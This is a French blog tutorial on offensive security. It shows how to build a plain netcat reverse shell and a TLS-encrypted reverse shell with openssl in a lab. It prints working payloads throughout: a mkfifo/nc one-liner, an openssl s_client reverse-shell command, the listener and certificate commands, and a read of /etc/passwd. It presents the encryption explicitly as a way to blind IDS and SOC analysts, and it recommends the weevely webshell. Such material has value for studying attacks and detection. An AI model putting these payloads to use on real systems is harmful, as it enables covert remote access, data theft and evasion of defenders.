Rappel : L’article qui va suivre contient des techniques et méthodes qui peuvent s’avérer être illégales et dangereuses si elles sont utilisées à mauvais escient. Ce tutoriel ne doit en aucun cas être utilisé contre un particulier, une entreprise, une organisation à but non lucratif ou une administration publique de quelconque pays. Je me dédouane de toute responsabilité en cas de problèmes ou d’incidents de quelque nature que ce soit après le visionnage de cet article.
**FOR EDUCATIONAL PURPOSES ONLY**
Bonjour à tous ! Aujourd’hui je vous présente un article « pure » sécurité offensive. Dans celui-ci vous allez découvrir comment créer un shell chiffré « ex nihilo » avec la librairie openssl. Mais d’abord, un petit rappel sur la notion de reverse/bind shells en sécurité offensive :
I. Reverse Shell
Son intérêt premier ? Plus besoin de se soucier des IPs des machines distantes à contrôler puisque se sont elles (les machines victimes) qui se connectent à l’utilisateur. Comme la connexion est dîte « sortante », les pare-feu bloquent rarement ce type de flux. (à condition de faire transiter le trafic TCP de votre reverse shell via un des ports suivants : 80, 443, 53 qui sont le plus souvent ouverts afin que tout le monde puisse au moins se balader sur le web).
II. Bind Shell
À contrario, nous avons le « bind shell » qui est utile lorsque l’attaquant a un accès direct à l’adresse IP de la victime distante. (Cette technique est généralement utilisée lorsqu’un attaquant a déjà déposé une porte dérobée (backdoor) sur le serveur, ou bien qu’il profite d’une faille très critique.
Note : Pour une application web, on peut également utiliser l’appellation web shell.
Bien, après vous avoir exposés ces rappels, nous allons aborder la différence entre un shell « chiffré » et un shell « classique », j’utiliserai Wireshark pour analyser le trafic entre l’attaquant et la victime. Le type de shell que je vais utiliser sera un reverse shell (victime –> attaquant).
III. Shell normal vs Shell chiffré
La plupart du temps, les reverse/bind shell qu’on trouve « tout prêt » sur le net ne vous propose pas de chiffrer les données qui transitent sur le réseau. Cela signifie que n’importe qui reniflant votre réseau serait en capacité de lire l’intégralité des échanges.
Pire encore, avec l’arrivée des IDS (Intrusion Detection System), les analystes sécurité peuvent être alertés en temps réel par ce système et se rendre compte assez rapidement que des données sont exfiltrées du fait que certaines « commandes système » sont exécutées depuis une ressource distante (l’attaquant). En fonction de ces résultats, les analystes d’un SoC (Security Operating Center) comprendrons au fur et à mesure ce que vous essayez de dérober, et par où vous êtes rentré. C’est surtout, dans le but de « bypasser » les IDS que les reverses/bind shells chiffrés ont fait leurs apparitions, et qu’ils sont de plus en plus communs.
Rien ne vaut une petite démonstration pour bien comprendre.
IV. Environnement
- Attaquant : Kali Linux : 192.168.130.128 /24
- Logiciels utilisés :
- Wireshark – Analyse du réseau
- Netcat – Reverse Shell classique
- OpenSSL – Reverse Shell chiffré
- Logiciels utilisés :
- Victime : Ubuntu : 192.168.130.133/24
Vidéo démonstrative -non commenté – pas à pas (Même contenu que le présent article)
V. Reverse shell – « Normal »
A. Machine Attaquant (192.168.130.128/24)
Depuis votre machine Kali, créez un listener avec netcat comme ceci :
nc -lvp 4444Lancez le logiciel wireshark en parallèle, et filtrez vos paquets uniquement sur le port d’écoute 4444. Cela vous permettra de gagner en visibilité (voici le filtre à appliquer : tcp.port == 4444)
B. Machine Victime (192.168.130.133/24)
Sur une machine s’exécutant dans un environnement Linux, exécutez ce bout de code malicieux (payload) qui va initier une connexion et instancier un reverse shell entre la victime et l’attaquant.
rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.130.128 4444 >/tmp/fRetournez sur votre kali. Vous verrez qu’une connexion s’est établie entre les deux serveurs.
cat /etc/passwd sur le serveur victime Si je m’intéresse d’un peu plus près aux paquets qui ont été échangés entre ma kali et ubuntu, je constate que l’intégralité des échanges émis entre les deux circule en clair sur le réseau, ce qui comme je l’ai déjà dit en introduction alerte en règle générale rapidement un IDS.
VI. Reverse shell chiffré – Démonstration
Il existe déjà des solutions permettant de créer très facilement des shells chiffrés. Cependant je vous encourage quand même à en créer un de votre côté from sratch. (au moins une fois, afin d’assimiler un peu plus cette notion)
A. Machine Attaquant :
Créez un dossier test/
mkdir test && cd test Créez un certificat + un couple de clé RSA à l’aide de la suite d’openssl
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodesEnfin, instanciez un listener avec openssl (et non avec netcat) sur votre machine kali :
openssl s_server -key key.pem -cert cert.pem -port 4444Lancez de nouveau le logiciel wireshark, et filtrez vos paquets uniquement sur le port d’écoute (tcp.port == 4444) de nouveau.
B. Machine Victime :
Exécutez ce bout de code malicieux (payload) qui va initier une connexion et instancier un reverse shell chiffrer entre la victime et l’attaquant.
mkfifo /tmp/s;/bin/sh -i</tmp/s 2>&1|openssl s_client -quiet -connect 192.168.130.128:4444>/tmp/s 2>/dev/null;rm /tmp/sRevenez sur votre Kali, et vous constaterez que vous avez l’accès au serveur victime :
Au regard de la capture réseau wireshark ci-dessous (paquets filtrés sur le port 4444 pour plus de lisibilité), je constate que les échanges sont chiffrés avec TLS v1.2. Les instructions que j’envoie au serveur victime sont donc illisibles ainsi que les réponses de celui-ci.
Dans cette circonstance, les équipements de sécurité sont donc aveugles, notre couche de chiffrement permet de passer sous les radars.
C. Contexte réelle :
Voici une vidéo vous montrant comment utiliser un reverse shell chiffré « step by step ». En guise d’exemple très basique je l’ai uploadé sur une machine virtuelle hébergeant un serveur web.
VII. Bonus – Utiliser un webshell chiffré (de type bindshell) « clés en main »
Sans hésiter, je vous recommande le magnifique tool weevely (codé en php) qui par défaut chiffre le flux de données transitant entre vous et l’application web. Un « must-have » pour toute personne s’intéressant de près ou de loin à la cybersécurité offensive.
Attention, à l’heure ou je rédige cet article, Weevely n’est pas encore compatible avec php8. Cependant sur github, un workarround (solution de contournement temporaire) existe :
https://github.com/epinna/weevely3/issues/151#issuecomment-1149692940
++
